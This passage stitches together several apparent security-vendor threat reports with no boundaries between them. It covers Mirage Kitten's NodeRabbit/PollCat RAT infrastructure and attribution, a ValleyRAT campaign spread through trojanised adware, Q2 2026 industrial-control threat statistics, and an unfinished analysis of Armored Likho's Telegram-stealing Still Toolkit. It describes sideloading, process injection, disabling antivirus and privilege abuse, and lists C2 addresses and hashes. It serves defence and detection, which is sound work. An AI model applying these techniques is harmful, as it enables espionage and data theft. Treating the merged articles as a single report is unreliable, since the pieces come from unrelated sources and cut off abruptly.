naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 4
healthcomfsdpower[.]com visitfinancedentists[.]com	NameCheap, Inc.	AS 13335	NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net	MarkMonitor Inc.	AS 8075
greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 7
lifespotify[.]com	Dynadot	AS 8075	PollCat RAT
gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net	MarkMonitor Inc.
sahi-finance[.]com	NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain	Creation date	Registrar
healthful-hub[.]com	2026-07-03	NameCheap, Inc.
neumedicahealthcare[.]com	2026-07-03	NameCheap, Inc.
optimumhealthcredit[.]com	2026-07-03	NameCheap, Inc.
healthfullyrecipes[.]com	2026-06-30	NameCheap, Inc.
refreshhealthandwellness[.]com	2026-06-09	NameCheap, Inc.
healthvitalitycare[.]com	2026-05-18	NameCheap, Inc.
aceofspadesmanagement[.]com	2026-05-18	NameCheap, Inc.
glmediaagency[.]com	2026-05-18	NameCheap, Inc.
digimediaskill[.]com	2026-05-18	NameCheap, Inc.
healthyweightplan[.]com	2026-05-18	NameCheap, Inc.
mens-health-online[.]com	2026-05-15	NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name	What it does
FS_SETUP_DD_173.exe	Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe	Installs Google Chrome
FS_SETUP_HY_173.exe	Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name	MD5	Purpose
1.zip	7ad1e3ef4e6d9d636c9e7e967733850e	Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll	96b4c1d0683dce22bd3223e1e40689c1	7z archiver library
7z.exe	9b86d3ab6cef15c633933fbbeab39c0a	Archiver
chrome_elf.dll	edfdc30cbd85879776b8f735ea7de1f1	Library used to launch Electron-based applications
libcef.dll	07ddbbe2c71c45577a7a4fbcdba0df91	Malicious library
PeLoader	48826d5ca845979d2e6ebd66dc1aae90	File containing the encrypted backdoor
QnWallpaper.exe	6c158c0f8e029342192d4f0d72e102b7	Adware module
QnwPlayer.exe	9a71d6a41cd258b9e89cdc5fc224de73	Adware module
<random string of letters and digits>Nedca.exe	c24e99f9437feacaa63766a3cde3fe3d	Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Some of the configuration fields are listed below:

Key	Description
p?	C2 server IP address
o?	C2 server port
t?	Protocol (1: TCP, 0: UDP)
dd	Sleep duration before executing the main code
cl	Sleep duration after receiving the corresponding command from the server
bz	Configuration creation date
bh	Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll	Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh	Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.

Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.

The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).

East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.

Selected industries

The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.

In all selected industries, the global average follows a downward trend.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.

Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

Denylisted internet resources

In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.

The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

Malicious documents (MSOffice + PDF)

Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).

Spyware

Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.

Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

Ransomware

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.

During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).

Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

Miners

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.

On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).

Worms

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.

Viruses

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.

The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

Malware for AutoCAD

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).

Main threat sources

In Q2 2026, of all the threat sources, the percentage increased only for email.

Internet

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.

Email

The percentage of ICS computers on which email threats were blocked increased to 2.84%.

In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).

Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.

Removable media

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).

Network folders

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.

For more information on industrial threats see the full version of the report.

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

• STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
• STILL_SEND_PATH: the path to the tdata
• STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

• --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
• --version: prints version information and exits.
• --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
• --db: turns on debug mode with detailed logging.

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

• Motherboard serial number
• CPU ID
• System UUID
• BIOS serial number
• Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

• enabled: triggers malicious activity on the infected device.
• scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
• fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
• download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

• C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
• C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
• C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

• snapshot_id: an identifier the server assigns to the current data snapshot.
• present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

• Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
• Creating a backup copy through the Shadow Copy service and reading files from there
• If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

• User details, such as username, phone number, first and last name
